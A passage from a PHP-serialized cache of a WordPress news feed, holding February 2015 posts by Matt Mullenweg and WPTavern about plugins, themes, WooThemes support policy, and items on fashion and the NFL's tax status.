says <a href=\"http://fivethirtyeight.com/datalab/people-working-from-home-in-a-snowstorm-may-be-producing-more-than-you-are/\">People Working From Home In A Snowstorm May Be Producing More Than You Are</a>, on the productivity of working from home.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 08 Feb 2015 03:41:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:35;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Matt: Tom Ford’s 15 Things\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44642\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"http://ma.tt/2015/02/tom-fords-15-things/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1195:\"<p>For the <a href=\"http://www.vogue.co.uk/spy/15th-anniversary\">15th anniversary of Vogue.com</a> noted fashion designer Tom Ford made a list of 15 things that every man should have, which are as follow:</p>\n<ol>\n<li>A sense of humour.</li>\n<li>A daily read of a newspaper.</li>\n<li>A sport that you love and are good at.</li>\n<li>Tweezers.</li>\n<li>A good cologne that becomes a signature.</li>\n<li>A well cut dark suit.</li>\n<li>A pair of classic black lace up shoes.</li>\n<li>A smart blazer.</li>\n<li>The perfect pair of dark denim jeans.</li>\n<li>Lots of crisp white cotton shirts.</li>\n<li>Always new socks and underwear, throw away the old ones every 6 months.</li>\n<li>A classic tuxedo.</li>\n<li>A beautiful day watch with a metal band.</li>\n<li>The perfect sunglasses.</li>\n<li>Perfect teeth. If you don&#8217;t have them, save up and get them fixed.</li>\n</ol>\n<p>A pretty good list, though I would <a href=\"http://cir.ca/\">replace the newspaper with Circa</a>, and I must confess I&#8217;m not sure sure what #4 the tweezers are for.</p>\n<p><a href=\"http://om.co/2011/07/05/tom-ford-5-tips-to-be-a-modern-gentleman/\">Om also has Tom Ford&#8217;s 5 tips for a modern gentleman</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 23:49:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:36;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:66:\"WPTavern: Customize Your Login Page Using the WordPress Customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38581\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"http://wptavern.com/customize-your-login-page-using-the-wordpress-customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2713:\"<p>As a result of the improvements to the Customizer API in WordPress 4.0 and 4.1, developers now have access to a wider array of controls and parameters that allow them to extend the feature for more varied uses beyond themes. The new <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Custom Login Customizer</a> plugin is a prime example of making the customizer available outside of a theme-related context.</p>\n<p>The plugin adds its own panel to the customizer with a myriad of options for customizing the design of your site&#8217;s login page.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg\" rel=\"prettyphoto[38581]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg?resize=987%2C572\" alt=\"login-customizer\" class=\"aligncenter size-full wp-image-38688\" /></a></p>\n<p>Custom Login Customizer allows you to customize nearly every aspect of the login form, including the following:</p>\n<ul>\n<li>Set a login logo, along with width, height, and padding</li>\n<li>Add a background, select background color and size</li>\n<li>Set a background for the form</li>\n<li>Adjust form styling &#8211; width, height, padding, border</li>\n<li>Style input field width, margin, background, and input/label colors</li>\n<li>Color picker for button background, border, hover background/border, button box shadow</li>\n<li>Select text colors</li>\n<li>Add custom CSS</li>\n</ul>\n<p>I tested the plugin and found it works smoothly as advertised. Once installed, navigate to Appearance > Login Customizer in order to launch your login page in the customizer while still being logged in.</p>\n<p>Custom Login Customizer was created by WordPress developer <a href=\"http://www.hardeepasrani.com/\" target=\"_blank\">Hardeep Asrani</a> and then sold to <a href=\"https://themeisle.com/\" target=\"_blank\">ThemeIsle.com</a> last week. &#8220;I believe Themeisle will most probably have a premium version with some more features in the future,&#8221; Asrani said. &#8220;However, the free plugin will still be there at the WordPerss.org repository and will have more features soon. At this moment, there&#8217;s no premium version or a plan for it.&#8221;</p>\n<p>There are many plugins out there which allow you to customize your login page. However, the advantage of using this particular one is that you can preview your changes live before saving them. This is one of the best uses of the customizer in a plugin that I have seen so far. It makes designing your login page an easy and enjoyable experience. Download the <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Login Customizer</a> from WordPress.org.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 22:44:21 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:37;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:74:\"WPTavern: Custom Metaboxes and Fields for WordPress (CMB2) Now Out of Beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38417\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:82:\"http://wptavern.com/custom-metaboxes-and-fields-for-wordpress-cmb2-now-out-of-beta\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4291:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg\" rel=\"prettyphoto[38417]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/cmb2.jpg?resize=768%2C372\" alt=\"photo credit: Different types of wand cases stacked - (license)\" class=\"size-full wp-image-38683\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/22464562@N00/8084402724\">Different types of wand cases stacked</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The <a href=\"https://github.com/WebDevStudios/CMB2\" target=\"_blank\">Custom Metaboxes and Fields for WordPress (CMB2)</a> plugin is now officially out of beta and ready for public use. The tool was created to make it easy for developers to create metaboxes and forms with custom fields. Developers at <a href=\"http://webdevstudios.com/\" target=\"_blank\">WebDevStudios</a> took over the <a href=\"https://github.com/WebDevStudios/Custom-Metaboxes-and-Fields-for-WordPress\" target=\"_blank\">original CMB GitHub repository</a> from Jared Atchison, its original creator, in December of 2013.</p>\n<p>Justin Sternberg <a href=\"http://webdevstudios.com/2015/02/02/cmb2-wordpress-plugin/\" target=\"_blank\">explained</a> why WebDevStudios chose to start contributing to the CMB2 project:</p>\n<blockquote><p>After having been burned by some issues with other custom field plugins, we determined it was best to stick with code that we had some control over. We fell in love with CMB because it was a library we could include in any of our projects and it would just work while letting us keep all of the field configuration in the code, and more importantly, in our version control system.</p></blockquote>\n<p>Due to irreconcilable shortcomings in the original CMB, WebDevStudios opted to fork the project and create a new one that wouldn&#8217;t have the same backwards compatibility requirements. If you used CMB in the past, it&#8217;s important to note that the new CMB2 project has renamed every class, function, hook, and filter in the library to avoid conflicts with the original. It&#8217;s essentially a complete re-write.</p>\n<p>&#8220;CMB2 was built with a new mechanism to ensure it only loads the most recent version of CMB2 in your system,&#8221; Sternberg said. &#8220;This ensures that a plugin with an old bundled version will not conflict or take precedence over your up-to-date version.&#8221;</p>\n<p>The new <a href=\"https://wordpress.org/plugins/cmb2/\" target=\"_blank\">CMB2 is now available on WordPress.org</a> as a plugin for easy activation when you want to use it with one of your projects. As an alternative, you can <a href=\"https://github.com/WebDevStudios/CMB2/blob/master/example-functions.php#L14\" target=\"_blank\">include CMB2 directly</a>. The newly released plugin features the following:</p>\n<ul>\n<li>Create metaboxes to be used on post edit screens.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Using-CMB-to-create-an-Admin-Theme-Options-Page\" target=\"_blank\">Create forms to be used on an options pages.</a></li>\n<li>Create forms to handle user meta and display them on user profile add/edit pages.</li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Bringing-Metaboxes-to-the-Front-end\" target=\"_blank\">Flexible API that allows you to use CMB forms almost anywhere, even on the front-end</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Field-Types#types\" target=\"_blank\">30+ built-in field types</a></li>\n<li><a href=\"https://github.com/WebDevStudios/CMB2/wiki/Adding-your-own-field-types\" target=\"_blank\">Custom API hook that allows you to create your own field types</a></li>\n<li>Numerous hooks and filters, allowing you to modify many aspects of the library (without editing it directly)</li>\n<li>Repeatable fields for most field types are supported, as well as repeatable field groups</li>\n</ul>\n<p>The WebDevStudios team plans to maintain strict backwards compatibility moving forward, as of CMB2&#8217;s 2.0.1 release on WordPress.org. If you want to include CMB2 as part of your next project, make sure to check out the plugin&#8217;s <a href=\"https://github.com/WebDevStudios/CMB2/wiki\" target=\"_blank\">wiki and code library</a> for tips on how to add metaboxes, fields, and forms to WordPress themes and plugins.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 21:05:54 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:38;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:72:\"WPTavern: Harmonic: A Bold Free WordPress Theme for Artists and Bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38617\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wptavern.com/harmonic-a-bold-free-wordpress-theme-for-artists-and-bloggers\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3114:\"<p>If you like designs that feature stunning, fullscreen background images, then Automattic&#8217;s latest free theme release is a prime candidate for your next blog redesign. <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> recently landed on WordPress.org and is rapidly closing in on 3,000 downloads.</p>\n<p>This theme puts the spotlight on your images and content. Harmonic&#8217;s striking homepage is accompanied by a minimalist, one-column blog design and an optional portfolio page template.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic.png?resize=880%2C660\" alt=\"harmonic\" class=\"aligncenter size-full wp-image-38619\" /></a></p>\n<p>Each section of the scrolling front page has options in the customizer that let you assign a unique display. The customizer allows you to easily set a background for the news, page, widgets, and portfolio sections. You can even include a background shade so that the title and tagline are more readable. The Visibility options allow you to hide any of the sections you&#8217;re not currently using.</p>\n<p><a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png\" rel=\"prettyphoto[38617]\"><img src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/harmonic-customizer.png?resize=1025%2C542\" alt=\"harmonic-customizer\" class=\"aligncenter size-full wp-image-38629\" /></a></p>\n<p>Single posts and pages with a featured image will display in a fullscreen design similar to the homepage. The blog archive is available with your choice of a one or two-column layout.</p>\n<p>With the addition of Jetpack, Harmonic also supports site logo upload and a portfolio. The customizer includes options for three different thumbnail aspect ratios, including: landscape (4:3), portrait (3:4), and square (1:1).</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg\" rel=\"prettyphoto[38617]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/media.jpg?resize=1025%2C748\" alt=\"media\" class=\"aligncenter size-full wp-image-38635\" /></a></p>\n<p>Harmonic includes a custom menu for social links and has support for 16 different social networks. Check out the <a href=\"https://harmonicdemo.wordpress.com/\" target=\"_blank\">live demo</a> on WordPress.com to see the theme in action.</p>\n<p>With the release of <a href=\"https://wordpress.org/themes/harmonic\" target=\"_blank\">Harmonic</a> for self-hosted sites, Automattic now has 60 free themes available in the directory. This theme caters to visual artists and bloggers who have large images to showcase in the background, portfolio, or gallery sections of the site.</p>\n<p>Harmonic is unique in that it transforms featured images and titles into a splash page style intro to single posts. If you want to use images to make a strong impact on your reader, this theme fits the bill. It&#8217;s available on both WordPress.com and self-hosted WordPress sites via the admin themes browser.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 08:19:58 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:39;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"Matt: Real NFL Scandal\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44652\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/real-nfl-scandal/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1108:\"<blockquote><p>Seattle&#8217;s decision to throw the ball at the goal line with 20 seconds to go in last night&#8217;s Super Bowl was a costly one. But in the long run, it won&#8217;t be nearly as costly to the rest of the United States as the National Football League (NFL) itself.</p>\n<p>Every year, the NFL rakes in around $9.5 billion in revenue. Its commissioner, Roger Goodell, meanwhile, has an annual salary of $44 million. And while those numbers might make sense for any big business, the NFL isn&#8217;t a business &#8211; not technically, at least.</p>\n<p>According to the Public Law 89-800, it&#8217;s a 501(c)6 tax-exempt nonprofit. That&#8217;s right, a nonprofit. In other words, the NFL, one of the most lucrative organizations in all of sports, is subsidized by you and me the taxpayers.</p></blockquote>\n<p>From <a href=\"http://www.truth-out.org/opinion/item/28885-the-real-nfl-scandal\">The Real NFL Scandal</a>. If you&#8217;re curious, here&#8217;s a <a href=\"http://en.wikipedia.org/wiki/Category:501(c)(6)_nonprofit_organizations\">list of other notable 501(c)(6) organizations</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 00:47:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:40;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"WPTavern: Why WooThemes is Smart to Discontinue Its Twitter Support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38563\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"http://wptavern.com/why-woothemes-is-smart-to-discontinue-its-twitter-support\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3992:\"<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg\" rel=\"prettyphoto[38563]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/woo-support-twitter-account.jpg?resize=1025%2C495\" alt=\"woo-support-twitter-account\" class=\"aligncenter size-full wp-image-38610\" /></a></p>\n<p>WooThemes <a href=\"http://www.woothemes.com/2015/02/retiring-woosupport-twitter/\" target=\"_blank\">announced</a> this week that it will be retiring @WooSupport, its Twitter support account, in favor of other support channels. Social media manager Marina Pape reports that support at the company is otherwise healthy. &#8220;On the contrary, our support is cooking with Customer Happiness this week averaging 90%, all support teams coming in under 24 hours for first-reply time,&#8221; she said.</p>\n<p>WooThemes, like many other WordPress product and service providers, had expanded channels to try to offer support on as many different social channels as possible. Last October, the company <a href=\"http://www.woothemes.com/2014/10/glimpse-world-woosupport/\" target=\"_blank\">announced</a> changes in its support structure:</p>\n<blockquote><p>We&#8217;re opening more and more avenues of communication like the Community, the @WooSupport Twitter handle, and a streamlined Knowledge Base, as well as actively monitoring our social media and ideas boards. You name it, we’re working on it.</p></blockquote>\n<p>Over the past several months, WooThemes has discovered that offering Twitter support is more trouble than it&#8217;s worth. &#8220;Questions get technical and DMs and 140 characters are not ideal facilitators of such things,&#8221; Pape said in the announcement.</p>\n<p>&#8220;Yes, we want to encourage conversation. Yes, we want to have an ear to the ground and be able to help people when the rubber hits the road for them and escalate tickets if people have been waiting for unusually long periods,&#8221; she said. <strong>&#8220;But the truth of the matter is Twitter is not the place to handle support queries and when we try we shoot ourselves in the collective foot.&#8221;</strong></p>\n<p>WooThemes is making a smart move to pull back from a medium that wasn&#8217;t built to handle complex support queries. Instead of spreading staff thin over every social avenue, the company is concentrating on channeling users through an established ticketing system that is already working.</p>\n<p>While anyone can use Twitter for whatever purpose, within its 140 character limit, the brevity that the medium was designed for is not a good fit for managing support. If users find frustration in communicating within Twitter&#8217;s limited capacity, support on this channel is a waste of company time and resources.</p>\n<p>&#8220;But after letting @WooSupport run for a while, we realized what it was actually doing was creating an expectation that we never intended to meet which was that we were able to actually give support over Twitter,&#8221; Pape explained. <strong>&#8220;140 characters are not enough to talk about the weather let alone why your custom-built-million-moving-parts website is breaking.&#8221;</strong></p>\n<p>WooThemes is opting to limit support to its ZenDesk ticketing system, instead of having social media managers playing middleman via tweets. &#8220;DMs on Twitter to get details and sort out problems is akin to birthing pineapples,&#8221; Pape said. Encouraging the ticketing system as the primary avenue of support is a move toward greater efficiency.</p>\n<p>WordPress hosting companies and product/service providers would do well to examine how they are using their various social channels and whether or not some could be trimmed back in favor of more suitable mediums for communication. Cutting out Twitter support may not be the answer for every product or customer demographic, but being &#8220;always on&#8221; and &#8220;always available&#8221; via every channel is not a realistic approach to support.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 05 Feb 2015 20:56:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:41;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:95:\"WPTavern: Thoughtful Comments Plugin Adds Comment Moderation Links to the Frontend of WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38542\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:105:\"http://wptavern.com/thoughtful-comments-plugin-adds-comment-moderation-links-to-the-frontend-of-wordpress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3054:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38557\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughfulCommentsFeaturedImage.png?resize=669%2C348\" alt=\"Thoughful Comments Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/98640399@N08/9410826173\">GirlOnRail_BKGs_BartaIV 1024&#215;768</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>The backend of WordPress has a set of tools to help administrators moderate comments, but what if you could bring some of those tools to the frontend? Developed by <a title=\"http://foliovision.com\" href=\"http://foliovision.com\">Foliovision</a>, <a title=\"https://wordpress.org/plugins/thoughtful-comments/\" href=\"https://wordpress.org/plugins/thoughtful-comments/\">Thoughtful Comments</a> is compatible with Jetpack Comments and adds the following links to comments on the frontend of WordPress:</p>\n<ul>\n<li>Approve</li>\n<li>Delete</li>\n<li>Delete Thread</li>\n<li>Delete and Ban IP</li>\n<li>Delete Thread and Ban IP</li>\n</ul>\n<p>Usernames highlighted in red indicate a comment that&#8217;s in the moderation queue. You can either approve, delete, or delete and ban the IP address of moderated comments. It&#8217;s important to note that deleted comments are sent to the trash instead of being removed completely from WordPress. For this reason, I think the Delete link should be renamed to Trash so its function makes more sense.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38554\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/CommentInModeration.png?resize=708%2C293\" alt=\"Comment in Moderation Status\" /></a>Comment in Moderation Status\n<p>You can also delete entire threads.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png\" rel=\"prettyphoto[38542]\"><img class=\"size-full wp-image-38555\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/ThoughtfulCommentsLinks.png?resize=640%2C267\" alt=\"Various Administration Links\" /></a>Various Administration Links\n<p>Editing posts, administering comments, and managing a site from the frontend is a huge time saver. With <a title=\"https://wordpress.org/plugins/wp-front-end-editor/\" href=\"https://wordpress.org/plugins/wp-front-end-editor/\">certain aspects of WordPress</a> making their way to the frontend, I wouldn&#8217;t be surprised if one day, the features within Thoughtful Comments end up in core. In the future, I think users will expect to be able to accomplish specific tasks like these without 